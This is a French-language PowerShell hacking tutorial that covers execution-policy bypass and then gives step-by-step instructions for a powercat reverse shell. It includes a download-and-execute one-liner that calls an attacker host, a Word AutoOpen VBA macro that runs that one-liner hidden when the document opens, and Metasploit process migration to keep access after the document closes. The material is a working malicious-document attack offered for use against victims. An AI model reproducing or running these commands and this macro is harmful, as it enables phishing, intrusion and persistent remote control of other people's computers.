🐚Powershell

PowerShell est un langage de script créé par Microsoft, conçu pour automatiser des tâches et gérer les systèmes. Il fonctionne sur le Dynamic Language Runtime (DLR) dans le framework .NET, ce qui lui permet d'être puissant et flexible. En résumé, PowerShell permet aux utilisateurs d'écrire des scripts pour simplifier et automatiser une variété de processus liés à la gestion des systèmes informatiques.

💻 Politique d'Exécution

La politique d'exécution de PowerShell est une fonctionnalité de sécurité qui détermine si les scripts peuvent être exécutés sur un système. Par défaut, PowerShell restreint l'exécution des scripts pour des raisons de sécurité.

Pour vérifier la politique d'exécution actuelle, exécutez la commande suivante :

Get-ExecutionPolicy

Si la politique d'exécution est définie sur Restricted, cela signifie que les scripts ne sont pas autorisés à s'exécuter. Pour changer la politique d'exécution en RemoteSigned, ce qui permet l'exécution de scripts créés localement, utilisez la commande suivante :

Set-ExecutionPolicy -Scope CurrentUser RemoteSigned

📗 Contournement de la Politique d'Exécution

Pour contourner la politique d'exécution et exécuter des scripts sans restrictions, vous pouvez utiliser l'option -ExecutionPolicy Bypass avec la commande powershell. Par exemple :

powershell -ExecutionPolicy Bypass -File test.ps1

📎 Obtention d'un Shell Inversé

Explorons maintenant l'obtention d'un shell inversé en utilisant PowerShell et l'outil powercat.

  1. Clonez le référentiel powercat depuis GitHub :

git clone https://github.com/besimorhino/powercat.git
  1. Démarrez un serveur web pour servir le script powercat.ps1 :

cd powercat
python3 -m http.server 8080
  1. Attendez les connexions entrantes sur un port spécifique à l'aide de nc :

nc -lvnp 1337
  1. Sur la machine cible, téléchargez et exécutez le script powercat.ps1 en utilisant PowerShell :

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACK_IP:8080/powercat.ps1');powercat -c ATTACK_IP -p 1337 -e cmd"

Remplacez ATTACK_IP par l'adresse IP de votre machine attaquante.

Après avoir exécuté la commande, la machine cible téléchargera et exécutera le script powercat.ps1, établissant ainsi une connexion de reverse shell vers votre AttackBox.

Voici un résumé des commandes en image

( après l'étape 3 ,

Ensuite, lancer la commande permettant de recuperer le payload :

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACK_IP:8080/powercat.ps1');powercat -c ATTACK_IP -p 1337 -e cmd"

Vous pouvez incorporer cette commande PowerShell dans une macro afin qu'elle s'exécute automatiquement lors du lancement du document. Voici comment vous pouvez le faire :

  1. Ouvrez le document Microsoft Word dans lequel vous souhaitez insérer la macro.

  2. Accédez à l'onglet "Affichage" dans le ruban de Word, puis cliquez sur "Macros" dans le groupe "Code".

  3. Dans la boîte de dialogue qui s'ouvre, tapez un nom pour votre nouvelle macro, par exemple "AutoOpen", et cliquez sur "Créer".

  4. Le Microsoft Visual Basic for Applications Editor s'ouvrira avec une nouvelle macro vide. Collez la commande PowerShell que vous souhaitez exécuter dans cette macro. Assurez-vous de remplacer ATTACK_IP par l'adresse IP de votre machine attaquante.

Sub AutoOpen()
    Dim command As String
    command = "powershell -c ""IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACK_IP:8080/powercat.ps1');powercat -c ATTACK_IP -p 1337 -e cmd"""
    Shell command, vbHide
End Sub
  1. Enregistrez et fermez l'éditeur Visual Basic for Applications.

Cette remarque concerne la façon dont un attaquant peut maintenir l'accès à une machine victime même après la fermeture d'un document malveillant.

Supposons qu'un attaquant lance une attaque en utilisant un fichier Word malveillant sur un ordinateur Windows 10. Après un certain temps, généralement environ 90 secondes, le document Word se ferme automatiquement. Pour prolonger l'accès à la machine victime, l'attaquant peut migrer le processus du document Word vers un autre processus sur la machine.

Par exemple, avec Metasploit, l'attaquant peut utiliser le module post/windows/manage/migrate.

  • run post/windows/manage/migrate

Cette commande permet de déplacer le processus du document Word vers un autre processus sur l'ordinateur cible. Ainsi, même si le document Word est fermé, la connexion reste active.

En résumé, la migration du processus permet à l'attaquant de maintenir l'accès à la machine victime même après la fermeture du document Word malveillant, assurant ainsi une persistance dans l'accès.

Last updated